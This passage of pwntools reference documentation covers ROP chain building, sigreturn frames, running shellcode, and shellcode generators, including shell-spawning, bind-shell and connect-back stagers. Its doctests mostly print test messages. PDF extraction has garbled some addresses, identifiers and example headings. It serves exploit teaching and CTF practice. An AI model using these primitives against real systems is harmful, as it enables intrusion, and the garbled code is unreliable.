0x0018:
             0x10001234 funcname(3)
0x001c:
            0x10000007 <adjust: pop eax; ret>
0x0020:
                    0x3 arg0
0x0024:
            0x10000007 pop eax; ret
0x0028:
                   0x77
            0x10000000 int 0x80
0x002c:
0x0030:
                   0x0 gs
0x0034:
                   0x0 fs
0x0038:
                   0x0 es
                   0x0 ds
0x003c:
                   0x0 edi
0x0040:
                   0x0 esi
0x0044:
0x0048:
                   0x0 ebp
0x004c:
                    0x0 esp
0x0050:
                    0x4 ebx
0x0054:
                   0x6 edx
0x0058:
                   0x5 ecx
0x005c:
                   0xb eax
0x0060:
                   0x0 trapno
0x0064:
                   0x0 err
0x0068:
            0x10000000 int 0x80
0x006c:
                  0x23 cs
                   0x0 eflags
0 \times 0070:
0 \times 0074:
                   0x0 esp_at_signal
0x0078:
                   0x2b ss
0x007c:
                    0x0 fpstate
```

```
\rightarrow > r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
0x8048000: 0x10001234 funcname(1, 2)
               0x10000003 <adjust: add esp, 0x10; ret>
0x8048004:
0x8048008:
                       0x1 arg0
                       0x2 arg1
0x804800c:
0x8048010:
                     'eaaa' <pad>
0x8048014:
                     'faaa' <pad>
0x8048018:
0x804801c:
               0x10001234 funcname(3)
               0x10000007 <adjust: pop eax; ret>
0x8048020:
                        0x3 arg0
0x8048024:
               0x10000007 pop eax; ret
0x8048028:
                       0x77
0x804802c:
               0x10000000 int 0x80
0x8048030:
                       0x0 as
0x8048034:
                       0x0 fs
0x8048038:
                       0x0 es
0x804803c:
                       0x0 ds
0x8048040:
                        0x0 edi
0x8048044:
                        0x0 esi
0x8048048:
                       0x0 ebp
0x804804c:
                 0x8048080 esp
```

```
0x8048050:
                        0x4 ebx
0x8048054:
                       0x6 edx
0x8048058:
                       0x5 ecx
0x804805c:
                        0xb eax
0x8048060:
                       0x0 trapno
0x8048064:
                       0x0 err
0x8048068:
               0x10000000 int 0x80
0x804806c:
                      0x23 cs
0x8048070:
                       0x0 eflags
0x8048074:
                       0x0 esp_at_signal
0x8048078:
                       0x2b ss
0x804807c:
                        0x0 fpstate
```

align = 4

Alignment of the ROP chain; generally the same as the pointer size

base = 0

Stack address where the first byte of the ROP chain lies, if known.

build (base=None, description=None)

Construct the ROP chain into a list of elements which can be passed to pwnlib.util.packing.flat.

Parameters

- base (int) The base address to build the rop-chain from. Defaults to base.
- **description** (*dict*) Optional output argument, which will gets a mapping of address: description for each address on the stack, starting at base.

call (resolvable, arguments=(), abi=None, **kwargs)

Add a call to the ROP chain

Parameters

- **resolvable** (*str*, *int*) Value which can be looked up via 'resolve', or is already an integer.
- **arguments** (list) List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain()

Build the ROP chain

Returns str containing raw ROP bytes

describe (object)

Return a description for an object in the ROP stack

dump()

Dump the ROP chain in an easy-to-read manner

elfs=[

List of ELF files which are available for mining gadgets

find_gadget (instructions)

Returns a gadget with the exact sequence of instructions specified in the instructions argument.

generatePadding(offset, count)

Generates padding to be inserted into the ROP stack.

migrate (next_base)

Explicitly set \$sp, by using a leave; ret gadget

migrated = False

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

raw (value)

Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters data (int/str) – The raw value to put onto the rop chain.

resolve (resolvable)

Resolves a symbol to an address

Parameters resolvable (str, int) – Thing to convert into an address

Returns int containing address of 'resolvable', or None

```
search (move=0, regs=None, order='size')
```

Search for a gadget which matches the specified criteria.

Parameters

- move (int) Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (list) Minimum list of registers which are popped off the stack.
- **order** (*str*) Either the string 'size' or 'regs'. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

```
If order == 'size', then gadgets are compared lexicographically by (total_moves, total_regs, addr), otherwise by (total_regs, total_moves, addr).
```

Returns A pwnlib.rop.gadgets.Gadget object

search_iter (move=None, regs=None)

Iterate through all gadgets which move the stack pointer by *at least* move bytes, and which allow you to set all registers in regs.

setRegisters (registers)

Returns an OrderedDict of addresses/values which will set the specified register context.

```
Parameters registers (dict) - Dictionary of {register name: value}
```

```
Returns An OrderedDict of {register: sequence of gadgets, values, etc.}.
```

unresolve (value)

Inverts 'resolve'. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

```
Parameters value (int) - Address to look up
```

Returns String containing the symbol name for the address, disassembly for a gadget (if there's one at that address), or an empty string.

pwnlib.rop.srop — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a signeturn frame, the stack pointer must be set accordingly.

i386 Example:

Let's just print a message out using SROP.

```
>>> message = "Hello, World"
```

First, we'll create our example binary. It just reads some data onto the stack, and invokes the signeturn syscall. We also make an int 0x80 gadget available, followed immediately by exit (0).

Let's construct our frame to have it invoke a write syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols['message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols['syscall']
```

Let's start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly = 'read:'
                            + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'
                            + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: '
                           + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
```

```
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

arm Example:

```
>>> context.clear()
>>> context.arch = "arm"
>>> assembly = 'read:'
                            + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:'
                            + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: '
                            + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.rl = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

Mips Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly = 'read:'
                          + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: '
                            + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

Mipsel Example:

```
>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
                           + shellcraft.exit(0)
>>> assembly += 'exit: '
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvn(len(message)) == message
True
>>> p.wait_for_close()
>>> p.poll() == 0
True
```

class pwnlib.rop.srop.SigreturnFrame(*a, **kw)

Crafts a sigreturn frame with values that are loaded up into registers.

Parameters arch (str) – The architecture. Currently i386 and amd64 are supported.

Examples

Crafting a SigreturnFrame that calls mprotect on amd64

Crafting a SigreturnFrame that calls mprotect on i386

```
>>> context.clear(arch='i386')
>>> s = SigreturnFrame(kernel='i386')
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 123, 0]
>>> assert len(s) == 80
>>> s.eax = 125
>>> s.ebx = 0x00601000
>>> s.ecx = 0x1000
>>> s.edx = 0x7
```

```
>>> assert len(str(s)) == 80
>>> unpack_many(str(s))
[0, 0, 0, 0, 0, 0, 0, 6295552, 7, 4096, 125, 0, 0, 0, 115, 0, 0, 123, 0]
```

Crafting a SigreturnFrame that calls mprotect on ARM

Crafting a SigreturnFrame that calls mprotect on MIPS

Crafting a SigreturnFrame that calls mprotect on MIPSel

Crafting a SigreturnFrame that calls mprotect on Aarch64

set_regvalue (reg, val)

Sets a specific reg to a val

2.17 pwnlib.runner — Running Shellcode

```
pwnlib.runner.run_assembly(*a, **kw)
```

Given an assembly listing, assemble and execute it.

Returns A process tube to interact with the process.

Example

```
>>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.run_shellcode(*a, **kw)

Given assembled machine code bytes, execute them.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

pwnlib.runner.run_assembly_exitcode(*a, **kw)

Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

```
pwnlib.runner.run_shellcode_exitcode(*a, **kw)
```

Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.18 pwnlib.shellcraft — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

Example

```
>>> print shellcraft.i386.nop().strip('\n')
    nop
>>> print shellcraft.i386.linux.sh()
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
...
```

2.18.1 Submodules

```
pwnlib.shellcraft.amd64 — Shellcode for AMD64
pwnlib.shellcraft.amd64
Shellcraft module containing generic Intel x86_64 shellcodes.
```

pwnlib.shellcraft.amd64.crash()

Crash.

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11

pwnlib.shellcraft.amd64.infloop()

A two-byte infinite loop.
```

```
pwnlib.shellcraft.amd64.itoa(v, buffer='rsp', allocate_stack=True)

Converts an integer into its string representation, and pushes it onto the stack.
```

- v(str, int) Integer constant or register that contains the value to convert.
- · alloca -

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

```
pwnlib.shellcraft.amd64.memcpy(dest, src, n) Copies memory.
```

Parameters

- **dest** Destination address
- src Source address
- **n** Number of bytes

```
pwnlib.shellcraft.amd64.mov(dest, src, stack_allowed=True)
```

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to 'amd64' and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

```
>>> print shellcraft.amd64.mov('eax','ebx').rstrip()
   mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
   xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
   xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
   xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
   movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
   /* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
   movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
   push 1
   pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
   xor eax, eax
   mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
```

```
xor eax, eax
   mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
    xor eax, eax
   mov ax, 0xc0c0
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
   mov edi, 0x1010101 / * 255 == 0xff */
    xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
    mov eax, 0x1010101 / * 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
   mov rax, 0 \times 10101010101010101 / \star 76750323967 == 0 \times 11 \text{dead00ff} \star /
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
```

```
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
     xor eax, eax /* (SYS_read) */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
     push (SYS_read) /* 3 */
     pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
     push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
     pop rax
```

- **dest** (str) The destination register.
- **src** (str) Either the input register, or an immediate value.
- stack_allowed (bool) Can the stack be used?

```
pwnlib.shellcraft.amd64.nop()
          A single-byte nop instruction.
```

pwnlib.shellcraft.amd64.popad()

Pop all of the registers onto the stack which i386 popad does, in the same order.

```
pwnlib.shellcraft.amd64.push(value)
```

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch* = 'amd64' using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters value (int, str) – The value or register to push

```
>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
   /* push 0 */
   push 1
```

```
dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
    /* push 1 */
   push 1
>>> print pwnlib.shellcraft.amd64.push(256).rstrip()
    /* push 256 */
   push 0x1010201 ^ 0x100
   xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
       print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
   /* push 'SYS_write' */
   push 1
>>> with context.local(os = 'freebsd'):
       print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
   push 4
```

pwnlib.shellcraft.amd64.pushad()

Push all of the registers onto the stack which i386 pushad does, in the same order.

pwnlib.shellcraft.amd64.pushstr(string, append_null=True)

Pushes a string onto the stack without using null bytes or newline characters.

```
>>> print shellcraft.amd64.pushstr('').rstrip()
   /* push '\x00' */
   push 1
   dec byte ptr [rsp]
>>> print shellcraft.amd64.pushstr('a').rstrip()
   /* push 'a\x00' */
   push 0x61
>>> print shellcraft.amd64.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101 ^ 0x6161
   xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaa').rstrip()
   /* push 'aaa\x00' */
   push 0x1010101 ^ 0x616161
   xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaaa').rstrip()
   /* push 'aaaa\x00' */
   push 0x61616161
>>> print shellcraft.amd64.pushstr('aaa\xc3').rstrip()
   /* push 'aaa\xc3\x00' */
   mov rax, 0x101010101010101
   push rax
   mov rax, 0x101010101010101 ^ 0xc3616161
   xor [rsp], rax
>>> print shellcraft.amd64.pushstr('aaa\xc3', append_null = False).rstrip()
   /* push 'aaa\xc3' */
   push -0x3c9e9e9f
>>> print shellcraft.amd64.pushstr('\xc3').rstrip()
   /* push '\xc3\x00' */
   push 0x1010101 ^ 0xc3
   xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('\xc3', append_null = False).rstrip()
```

- **string** (str) The string to push.
- append_null (bool) Whether to append a single NULL-byte before pushing.

```
pwnlib.shellcraft.amd64.pushstr_array(reg, array)
```

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (str) Destination register to hold the pointer.
- **array** (str, list) Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

```
pwnlib.shellcraft.amd64.ret (return_value=None)
```

A single-byte RET instruction.

Parameters return_value - Value to return

```
pwnlib.shellcraft.amd64.setregs(reg_context, stack_allowed=True)
```

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- reg_context (dict) Desired register context
- stack allowed (bool) Can the stack be used?

```
>>> print shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip()
    mov rbx, rax
    push 1
    pop rax
>>> print shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip()
    mov rbx, rax
    push (SYS_write) /* 1 */
    pop rax
>>> print shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip()
    mov rcx, rbx
    xchg rax, rbx
>>> print shellcraft.setregs({'rax':1, 'rdx':0}).rstrip()
    push 1
```

```
pop rax cdq /* rdx=0 */
```

pwnlib.shellcraft.amd64.**strcpy**(*dst*, *src*)
Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rax\n'
>>> sc += shellcraft.amd64.strcpy('rsp', 'rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += 'asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

pwnlib.shellcraft.amd64.strlen(string, reg='rcx')

Calculate the length of the specified string.

Parameters

- **string** (str) Register or address with the string
- reg(str) Named register to return the value in, rcx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop rdi\n'
>>> sc += shellcraft.amd64.strlen('rdi', 'rax')
>>> sc += 'push rax;'
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)
>>> sc += shellcraft.amd64.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += 'asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.amd64.trap()

A trap instruction.

88

pwnlib.shellcraft.amd64.xor(key, address, count)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register.
- address (int) Address of the data (e.g. 0xdead0000, 'esp')
- count (int) Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'rsp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)
>>> sc += shellcraft.write(1, 'rsp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.amd64.linux

Shellcraft module containing Intel x86_64 shellcodes for Linux.

```
pwnlib.shellcraft.amd64.linux.accept (fd, addr, addr_len) Invokes the syscall accept. See 'man 2 accept' for more information.
```

Parameters

- **fd** (int) fd
- addr (SOCKADDR_ARG) addr
- addr_len (socklen_t) addr_len

pwnlib.shellcraft.amd64.linux.access(name, type)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- name (char) name
- type (int) type

pwnlib.shellcraft.amd64.linux.acct(name)

Invokes the syscall acct. See 'man 2 acct' for more information.

```
Parameters name (char) - name
```

pwnlib.shellcraft.amd64.linux.alarm(seconds)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters seconds (unsigned) - seconds

```
pwnlib.shellcraft.amd64.linux.bind(fd, addr, length)
```

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- fd(int)-fd
- addr (CONST_SOCKADDR_ARG) addr
- len (socklen_t) len

pwnlib.shellcraft.amd64.linux.bindsh(port, network)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

```
pwnlib.shellcraft.amd64.linux.brk(addr)
```

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters addr (void) - addr

pwnlib.shellcraft.amd64.linux.cat(filename, fd=1)

Opens a file and writes its contents to the specified file descriptor.

pwnlib.shellcraft.amd64.linux.chdir(path)

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters path (char) - path

pwnlib.shellcraft.amd64.linux.chmod(file, mode)

Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- file (char) file
- **mode** (*mode_t*) **mode**

pwnlib.shellcraft.amd64.linux.chown (file, owner, group)

Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- **file** (char) file
- owner (uid_t) owner
- **group** (*gid_t*) group

pwnlib.shellcraft.amd64.linux.chroot(path)

Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters path (char) - path

pwnlib.shellcraft.amd64.linux.clock_getres(clock_id, res)

Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- res(timespec)-res

pwnlib.shellcraft.amd64.linux.clock_gettime(clock_id, tp)

Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- tp(timespec) tp

pwnlib.shellcraft.amd64.linux.clock_nanosleep(clock_id, flags, req, rem)

Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- clock_id(clockid_t)-clock_id
- flags (int) flags
- req(timespec)-req
- rem (timespec) rem

pwnlib.shellcraft.amd64.linux.clock settime(clock id, tp)

Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

- clock_id(clockid_t)-clock_id
- **tp** (timespec) **tp**

pwnlib.shellcraft.amd64.linux.clone(fn, child_stack, flags, arg, vararg)

Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- fn (int) fn
- child_stack (void) child_stack
- flags (int) flags
- arg (void) arg
- **vararg** (int) vararg

pwnlib.shellcraft.amd64.linux.close(fd)

Invokes the syscall close. See 'man 2 close' for more information.

pwnlib.shellcraft.amd64.linux.connect(host, port, network='ipv4')

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in rbp.

pwnlib.shellcraft.amd64.linux.connectstager(host, port, network='ipv4')

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.amd64.linux.creat (file, mode)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- file (char) file
- mode (mode_t) mode

pwnlib.shellcraft.amd64.linux.dup(sock='rbp')

Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.amd64.linux.dup2 (fd, fd2)

Invokes the syscall dup2. See 'man 2 dup2' for more information.

Parameters

- fd(int)-fd
- fd2 (int) fd2

pwnlib.shellcraft.amd64.linux.dup3(fd,fd2,flags)

Invokes the syscall dup3. See 'man 2 dup3' for more information.

Parameters

- fd(int)-fd
- **fd2** (int) fd2
- flags (int) flags

pwnlib.shellcraft.amd64.linux.dupsh(sock='rbp')

Args: [sock (imm/reg) = rbp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

```
pwnlib.shellcraft.amd64.linux.echo(string, sock='1')
     Writes a string to a file descriptor
pwnlib.shellcraft.amd64.linux.egghunter(egg, start_address = 0)
     Searches memory for the byte sequence 'egg'.
     Return value is the address immediately following the match, stored in RDI.
          Parameters
                • egg (str, int) - String of bytes, or word-size integer to search for
                • start_address (int) – Where to start the search
pwnlib.shellcraft.amd64.linux.epoll_create(size)
     Invokes the syscall epoll_create. See 'man 2 epoll_create' for more information.
          Parameters size (int) - size
pwnlib.shellcraft.amd64.linux.epoll_create1 (flags)
     Invokes the syscall epoll_create1. See 'man 2 epoll_create1' for more information.
          Parameters flags (int) - flags
pwnlib.shellcraft.amd64.linux.epoll_ctl(epfd, op, fd, event)
     Invokes the syscall epoll_ctl. See 'man 2 epoll_ctl' for more information.
          Parameters
                • epfd(int)-epfd
                • op (int) – op
                • fd(int)-fd
                • event (epoll_event) - event
pwnlib.shellcraft.amd64.linux.epoll_pwait (epfd, events, maxevents, timeout, ss)
     Invokes the syscall epoll_pwait. See 'man 2 epoll_pwait' for more information.
          Parameters
                • epfd (int) - epfd
                • events (epoll event) - events
                • maxevents (int) - maxevents
                • timeout (int) - timeout
                • ss (sigset_t) - ss
pwnlib.shellcraft.amd64.linux.epoll_wait(epfd, events, maxevents, timeout)
     Invokes the syscall epoll wait. See 'man 2 epoll wait' for more information.
          Parameters
                • epfd(int)-epfd
                • events (epoll_event) - events
                • maxevents (int) - maxevents
                • timeout (int) - timeout
```

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

pwnlib.shellcraft.amd64.linux.execve(path='/bin///sh', argv=[], envp={})

Execute a different process.

- •If path is a string that is not a known register, it is pushed onto the stack.
- •If argv is an array of strings, it is pushed onto the stack, and NULL-terminated.
- •If envp is an dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': 3}
>>> sc = shellcraft.amd64.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.amd64.linux.exit(status=None)

Invokes the syscall exit. See 'man 2 exit' for more information.

Parameters status (int) – status

Doctest

```
>>> run_assembly_exitcode(shellcraft.exit(33))
33
```

pwnlib.shellcraft.amd64.linux.faccessat(fd, file, type, flag)

Invokes the syscall faccessat. See 'man 2 faccessat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- **type** (*int*) type
- flag(int) flag

pwnlib.shellcraft.amd64.linux.fallocate (fd, mode, offset, length) Invokes the syscall fallocate. See 'man 2 fallocate' for more information.

Parameters

- **fd** (int) fd
- mode (int) mode
- offset (off_t) offset
- **len** (off t) len

pwnlib.shellcraft.amd64.linux.fchdir(fd)

Invokes the syscall fchdir. See 'man 2 fchdir' for more information.

pwnlib.shellcraft.amd64.linux.fchmod(fd, mode)

Invokes the syscall fchmod. See 'man 2 fchmod' for more information.

Parameters

• fd(int)-fd

• **mode** (*mode_t*) – **mode**

pwnlib.shellcraft.amd64.linux.fchmodat(fd, file, mode, flag)

Invokes the syscall fehmodat. See 'man 2 fehmodat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- mode (mode_t) mode
- flag(int)-flag

pwnlib.shellcraft.amd64.linux.fchown (fd, owner, group)

Invokes the syscall fchown. See 'man 2 fchown' for more information.

Parameters

- fd(int)-fd
- owner (uid t) owner
- $group(gid_t) group$

 $\verb|pwnlib.shellcraft.amd64.linux.fchownat| (\textit{fd}, \textit{file}, \textit{owner}, \textit{group}, \textit{flag}) \\$

Invokes the syscall fchownat. See 'man 2 fchownat' for more information.

Parameters

- **fd** (int) fd
- file (char) file
- owner (uid_t) owner
- **group** (*gid_t*) **group**
- flag(int)-flag

pwnlib.shellcraft.amd64.linux.fcntl(fd, cmd, vararg)

Invokes the syscall fcntl. See 'man 2 fcntl' for more information.

Parameters

- **fd**(int)-fd
- cmd (int) cmd
- **vararg** (int) vararg

pwnlib.shellcraft.amd64.linux.fdatasync(fildes)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

Parameters fildes (int) - fildes

